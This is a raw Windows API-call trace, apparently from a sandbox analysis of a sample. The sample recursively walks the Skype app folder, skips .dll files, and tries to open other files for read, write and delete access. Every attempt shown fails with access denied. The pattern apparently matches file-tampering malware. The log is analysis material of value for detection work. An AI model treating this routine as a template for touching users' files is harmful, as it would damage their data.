	[0091.233] FindNextFileW (in: hFindFile=0x46a7110, lpFindFileData=0x4712e78 | out: lpFindFileData=0x4712e78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x751b2af, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7541508, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7541508, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x15200, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationsExtensions.winmd", cAlternateFileName="")) returned 1
	[0091.233] wcscmp (_String1="NotificationsExtensions.winmd", _String2=".") returned 1
	[0091.233] wcscmp (_String1="NotificationsExtensions.winmd", _String2="..") returned 1
	[0091.233] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477eb90
	[0091.233] wcscpy (in: _Dest=0x477eb90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c"
	[0091.233] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\"
	[0091.233] wcscat (in: _Dest=0x477eb90, _Source="NotificationsExtensions.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\NotificationsExtensions.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\NotificationsExtensions.winmd"
	[0091.233] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\NotificationsExtensions.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\notificationsextensions.winmd")) returned 0x20
	[0091.234] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\NotificationsExtensions.winmd", dwFileAttributes=0x20) returned 0
	[0091.235] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\NotificationsExtensions.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\notificationsextensions.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.235] GetLastError () returned 0x5
	[0091.235] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\NotificationsExtensions.winmd", dwFileAttributes=0x20) returned 0
	[0091.235] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0091.235] FindNextFileW (in: hFindFile=0x46a7110, lpFindFileData=0x4712e78 | out: lpFindFileData=0x4712e78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7541508, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x758d9bf, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x758d9bf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xf5430, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0091.235] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0091.235] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0091.235] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2d320
	[0091.235] wcscpy (in: _Dest=0x4f2d320, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c"
	[0091.235] wcscat (in: _Dest=0x4f2d320, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\"
	[0091.235] wcscat (in: _Dest=0x4f2d320, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\resources.pri"
	[0091.235] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\resources.pri")) returned 0x20
	[0091.237] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\resources.pri", dwFileAttributes=0x20) returned 0
	[0091.237] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.237] GetLastError () returned 0x5
	[0091.237] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\resources.pri", dwFileAttributes=0x20) returned 0
	[0091.237] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d320) returned 1
	[0091.237] FindNextFileW (in: hFindFile=0x46a7110, lpFindFileData=0x4712e78 | out: lpFindFileData=0x4712e78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x758d9bf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7698a3e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7698a3e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x236c90, dwReserved0=0x0, dwReserved1=0x0, cFileName="roottools.dll", cAlternateFileName="")) returned 1
	[0091.237] wcscmp (_String1="roottools.dll", _String2=".") returned 1
	[0091.237] wcscmp (_String1="roottools.dll", _String2="..") returned 1
	[0091.237] FindNextFileW (in: hFindFile=0x46a7110, lpFindFileData=0x4712e78 | out: lpFindFileData=0x4712e78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7698a3e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x77eff6f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x77eff6f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x325c90, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtmcodecs.dll", cAlternateFileName="")) returned 1
	[0091.237] wcscmp (_String1="rtmcodecs.dll", _String2=".") returned 1
	[0091.237] wcscmp (_String1="rtmcodecs.dll", _String2="..") returned 1
	[0091.238] FindNextFileW (in: hFindFile=0x46a7110, lpFindFileData=0x4712e78 | out: lpFindFileData=0x4712e78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77eff6f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x783c427, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x783c427, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe0c90, dwReserved0=0x0, dwReserved1=0x0, cFileName="RtmMediaManager.dll", cAlternateFileName="")) returned 1
	[0091.238] wcscmp (_String1="RtmMediaManager.dll", _String2=".") returned 1
	[0091.238] wcscmp (_String1="RtmMediaManager.dll", _String2="..") returned 1
	[0091.238] FindNextFileW (in: hFindFile=0x46a7110, lpFindFileData=0x4712e78 | out: lpFindFileData=0x4712e78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7862680, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x78aeb37, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x78aeb37, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x77690, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtmpal.dll", cAlternateFileName="")) returned 1
	[0091.238] wcscmp (_String1="rtmpal.dll", _String2=".") returned 1
	[0091.238] wcscmp (_String1="rtmpal.dll", _String2="..") returned 1
	[0091.238] FindNextFileW (in: hFindFile=0x46a7110, lpFindFileData=0x4712e78 | out: lpFindFileData=0x4712e78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78aeb37, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7d00f8c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7d00f8c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8fb488, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtmpltfm.dll", cAlternateFileName="")) returned 1
	[0091.238] wcscmp (_String1="rtmpltfm.dll", _String2=".") returned 1
	[0091.238] wcscmp (_String1="rtmpltfm.dll", _String2="..") returned 1
	[0091.238] FindNextFileW (in: hFindFile=0x46a7110, lpFindFileData=0x4712e78 | out: lpFindFileData=0x4712e78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd5c51, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb03fd343, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x887a4f1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SkypeApp", cAlternateFileName="")) returned 1
	[0091.238] wcscmp (_String1="SkypeApp", _String2=".") returned 1
	[0091.238] wcscmp (_String1="SkypeApp", _String2="..") returned 1
	[0091.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481be58
	[0091.238] wcscpy (in: _Dest=0x481be58, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c"
	[0091.238] wcscat (in: _Dest=0x481be58, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\"
	[0091.238] wcscat (in: _Dest=0x481be58, _Source="SkypeApp" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp"
	[0091.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x4f2cd20
	[0091.238] wcscpy (in: _Dest=0x4f2cd20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp"
	[0091.238] wcscat (in: _Dest=0x4f2cd20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\"
	[0091.238] wcscat (in: _Dest=0x4f2cd20, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\*"
	[0091.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502ed60
	[0091.238] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\*", lpFindFileData=0x502ed60 | out: lpFindFileData=0x502ed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd5c51, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb03fd343, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x887a4f1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b6e8
	[0091.238] wcscmp (_String1=".", _String2=".") returned 0
	[0091.238] FindNextFileW (in: hFindFile=0x477b6e8, lpFindFileData=0x502ed60 | out: lpFindFileData=0x502ed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd5c51, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb03fd343, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x887a4f1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.238] wcscmp (_String1="..", _String2=".") returned 1
	[0091.238] wcscmp (_String1="..", _String2="..") returned 0
	[0091.239] FindNextFileW (in: hFindFile=0x477b6e8, lpFindFileData=0x502ed60 | out: lpFindFileData=0x502ed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd5c51, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb045bfbe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8854298, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0091.239] wcscmp (_String1="Assets", _String2=".") returned 1
	[0091.239] wcscmp (_String1="Assets", _String2="..") returned 1
	[0091.239] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x49260d0
	[0091.239] wcscpy (in: _Dest=0x49260d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp"
	[0091.239] wcscat (in: _Dest=0x49260d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\"
	[0091.239] wcscat (in: _Dest=0x49260d0, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.239] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x4924898
	[0091.239] wcscpy (in: _Dest=0x4924898, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.239] wcscat (in: _Dest=0x4924898, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\"
	[0091.239] wcscat (in: _Dest=0x4924898, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\*"
	[0091.239] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502fe38
	[0091.239] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\*", lpFindFileData=0x502fe38 | out: lpFindFileData=0x502fe38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd5c51, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb045bfbe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8854298, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b668
	[0091.245] wcscmp (_String1=".", _String2=".") returned 0
	[0091.245] FindNextFileW (in: hFindFile=0x477b668, lpFindFileData=0x502fe38 | out: lpFindFileData=0x502fe38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd5c51, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb045bfbe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8854298, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.248] wcscmp (_String1="..", _String2=".") returned 1
	[0091.248] wcscmp (_String1="..", _String2="..") returned 0
	[0091.248] FindNextFileW (in: hFindFile=0x477b668, lpFindFileData=0x502fe38 | out: lpFindFileData=0x502fe38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd5c51, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb04fda55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x81ebd4a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Audio", cAlternateFileName="")) returned 1
	[0091.248] wcscmp (_String1="Audio", _String2=".") returned 1
	[0091.248] wcscmp (_String1="Audio", _String2="..") returned 1
	[0091.248] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4719120
	[0091.248] wcscpy (in: _Dest=0x4719120, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.248] wcscat (in: _Dest=0x4719120, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\"
	[0091.248] wcscat (in: _Dest=0x4719120, _Source="Audio" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio"
	[0091.248] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e12ab8
	[0091.248] wcscpy (in: _Dest=0x2e12ab8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio"
	[0091.248] wcscat (in: _Dest=0x2e12ab8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\"
	[0091.248] wcscat (in: _Dest=0x2e12ab8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\*"
	[0091.248] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502e158
	[0091.248] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\*", lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd5c51, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb04fda55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x81ebd4a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b568
	[0091.250] wcscmp (_String1=".", _String2=".") returned 0
	[0091.250] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd5c51, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb04fda55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x81ebd4a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.251] wcscmp (_String1="..", _String2=".") returned 1
	[0091.251] wcscmp (_String1="..", _String2="..") returned 0
	[0091.251] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8048362, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x806e5bb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x806e5bb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x714d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IncomingCall.wma", cAlternateFileName="")) returned 1
	[0091.251] wcscmp (_String1="IncomingCall.wma", _String2=".") returned 1
	[0091.251] wcscmp (_String1="IncomingCall.wma", _String2="..") returned 1
	[0091.251] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491c8b0
	[0091.251] wcscpy (in: _Dest=0x491c8b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio"
	[0091.251] wcscat (in: _Dest=0x491c8b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\"
	[0091.251] wcscat (in: _Dest=0x491c8b0, _Source="IncomingCall.wma" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\IncomingCall.wma") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\IncomingCall.wma"
	[0091.251] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\IncomingCall.wma" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\incomingcall.wma")) returned 0x20
	[0091.251] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\IncomingCall.wma", dwFileAttributes=0x20) returned 0
	[0091.251] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\IncomingCall.wma" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\incomingcall.wma"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.251] GetLastError () returned 0x5
	[0091.251] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\IncomingCall.wma", dwFileAttributes=0x20) returned 0
	[0091.251] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c8b0) returned 1
